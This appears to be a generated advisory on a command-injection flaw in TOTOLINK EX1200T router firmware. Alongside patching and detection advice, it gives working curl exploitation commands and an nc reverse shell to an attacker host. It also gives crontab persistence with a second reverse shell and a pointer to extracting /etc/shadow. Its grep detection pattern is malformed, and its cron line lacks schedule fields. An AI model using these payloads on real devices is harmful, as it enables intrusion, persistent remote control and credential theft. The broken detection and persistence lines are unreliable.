How the CVE Works
CVE-2025-28038 is a pre-authentication remote command execution vulnerability in TOTOLINK EX1200T routers (firmware v4.1.2cu.5232_B20210713). The flaw exists in the `setWebWlanIdx` function, which improperly sanitizes user-supplied input in the `webWlanIdx` HTTP parameter. Attackers can craft malicious requests containing OS commands, which are executed with root privileges due to insufficient input validation. The vulnerability is network-exploitable, requiring no authentication, making it critical.
Exploitation involves sending a specially crafted HTTP POST request to the affected endpoint, where injected commands (e.g., /bin/sh -c) are executed via shell metacharacters (e.g., ;, |). The router’s web interface fails to sanitize these characters, allowing arbitrary command execution under the `root` context.
DailyCVE Form
Platform: TOTOLINK EX1200T
Version: 4.1.2cu.5232_B20210713
Vulnerability: Pre-auth RCE
Severity: Critical
Date: 04/29/2025
What Undercode Say:
Exploitation
1. Craft malicious HTTP request:
curl -X POST http://<TARGET_IP>/cgi-bin/setWebWlanIdx -d "webWlanIdx=;id>/tmp/pwned;"
2. Verify execution:
curl http://<TARGET_IP>/tmp/pwned
3. Reverse shell payload:
curl -X POST http://<TARGET_IP>/cgi-bin/setWebWlanIdx -d "webWlanIdx=;nc -e /bin/sh <ATTACKER_IP> 4444;"
Protection
1. Patch: Upgrade firmware beyond v4.1.2cu.5232_B20210713.
- Mitigation: Block external access to `/cgi-bin/setWebWlanIdx` via firewall.
- Input sanitization: Deploy WAF rules to filter shell metacharacters (
;,|,&).
Detection
- Log analysis: Monitor logs for repeated POSTs to
/cgi-bin/setWebWlanIdx. - Network traffic: Detect anomalous command strings in HTTP payloads:
grep -E ';\w+(|/\w+\s+-[bash]' /var/log/httpd/access.log
Post-Exploitation
1. Persistence: Add cron job via RCE:
echo " root /bin/sh -c 'nc <ATTACKER_IP> 4445 -e /bin/sh'" >> /etc/crontab
2. Lateral movement: Extract credentials from `/etc/shadow`.
References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-28038
- Exploit DB: Check for public PoCs post-disclosure.
- Vendor Advisory: Monitor TOTOLINK security updates.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
